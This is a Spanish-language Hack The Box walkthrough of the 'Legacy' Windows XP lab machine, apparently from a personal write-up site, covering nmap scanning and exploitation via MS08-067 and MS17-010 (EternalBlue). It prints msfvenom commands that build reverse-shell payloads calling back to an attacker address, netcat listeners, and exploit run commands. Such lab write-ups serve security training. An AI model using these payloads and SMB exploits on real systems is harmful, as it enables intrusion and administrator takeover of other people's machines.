> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/hack-the-box/windows/easy/legacy.md).

# Legacy

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F5fiPi9WrlXO3kFtPR2g6%2FLegacy.png?alt=media&amp;token=5a21ebe7-b619-4827-b81f-9e8a18bff247" alt=""><figcaption></figcaption></figure>

En este artículo, abordaremos la resolución de la máquina Legacy de la plataforma Hack The Box. Dicha máquina, presenta dos vulnerabilidades en el protocolo SMB. Una de ellas es MS08-067 - RCE (Remote Command Execution) y la otra es MS-17-010 EternalBlue, ambas vulnerabilidades nos otorga acceso como Administrador.

## Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FW3fG0w52Kb2sLcC0kj84%2FLegacy00.png?alt=media&amp;token=b78abc3b-ae20-43ce-80c1-7a3bd6a54c2c" alt=""><figcaption><p>Reconocimiento usando el comando ping</p></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Descubrimiento de puertos abiertos <a href="#descubrimiento-de-puertos-abiertos" id="descubrimiento-de-puertos-abiertos"></a>

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

```bash
nmap -sS -p- --open --min-rate 5000 10.10.10.4 -n -Pn -oG scanPorts -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fb4XzhwMp1EnJrLQeVcGH%2FLegacy01.png?alt=media&amp;token=cae78601-01d4-4557-8a2d-dce5a999ad53" alt=""><figcaption><p>Descubrimiento de puertos abiertos</p></figcaption></figure>

### Enumeración de versión y servicio <a href="#enumeracion-de-version-y-servicio" id="enumeracion-de-version-y-servicio"></a>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

```bash
nmap -sCV -p135,139,445 10.10.10.4 -oN targeted -vvv
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2Fj3HpM24Y3PhJscYJEue6%2FLegacy02.png?alt=media&amp;token=3e739a1b-613e-460b-800c-4346defb611f" alt=""><figcaption><p>Descubrimiento de versión y servicio con nmap</p></figcaption></figure>

## Explotación

### Vulnerabilidad MS08-067

Como observamos en el escaneo anterior,  estamos frente a un Windows XP.

Si hacemos una busqueda en Google, nos encontramos que esta versión de Windows es vulnerable a MS08-067, la cual es una vulnerabilidad crítica en el servicio Server de Microsoft Windows, identificada en 2008. Dicha vulnerabilidad, permite la ejecución remota de código y el acceso como Administrador.

Para explotar esta vulnerabilidad, utilizaré [este](https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py) exploit.

Descargamos el script a nuestra máquina atacante.

```bash
wget https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
```

Creamos el shellcode con `msfvenom`.

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
```

Nos ponemos en escucha con netcat por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos el exploit, indicando los parámetros solicitados.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FuG6J05IPVZTw0fSQPRpi%2Fimage.png?alt=media&amp;token=cdb26ab3-328b-4e64-b839-7595eee5ca90" alt=""><figcaption><p>Ejecución del exploit</p></figcaption></figure>

Ganamos acceso al sistema como el usuario `LEGACY`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2F0p51PrSY88h2TnMhoA7m%2Fimage.png?alt=media&amp;token=eaf71ac9-0c5c-4fcc-a0b8-9d7df12654b2" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

### Vulnerabilidad MS-17-010

Para explotar la vulnerabilidad MS-17-010, podemos utilizar [este](https://github.com/helviojunior/MS17-010) repositorio.

Clonamos el repositorio a nuestro equipo atacante.

```bash
git clone https://github.com/helviojunior/MS17-010
```

Creamos el payload utilizando `msfvenom`:

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
```

Nos ponemos en escucha con netcat por el puerto 443.

```bash
rlwrap nc -lnvp 443
```

Ejecutamos el exploit:

```bash
python send_and_execute.py 10.10.10.4 shell.exe
```

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FV5BygfsuljCoou1orAmj%2Fimage.png?alt=media&amp;token=6c60db2b-5ebd-4f36-a9f7-1bdc71d837dc" alt=""><figcaption><p>Ejecución del exploit</p></figcaption></figure>

Ganamos acceso al sistema.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FWZN2Hk3iTPlRorSdakTH%2Fimage.png?alt=media&amp;token=ed5a31ea-acdd-4ace-8f80-89452b6d7a27" alt=""><figcaption></figcaption></figure>

De esta forma, ya podemos leer la flag de `user.txt` y `root.txt`.

<figure><img src="https://971679690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSE6WyLrlovog90Rtcp7K%2Fuploads%2FAYhYZQc05MhKHS5T5YC4%2FLegacy03.png?alt=media&amp;token=77a13d0d-6280-4831-92f0-2675927e2f1d" alt=""><figcaption><p>Flags</p></figcaption></figure>

Concluimos la resolución de la máquina Legacy.

Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.

¡Gracias por leer!

Happy Hacking!
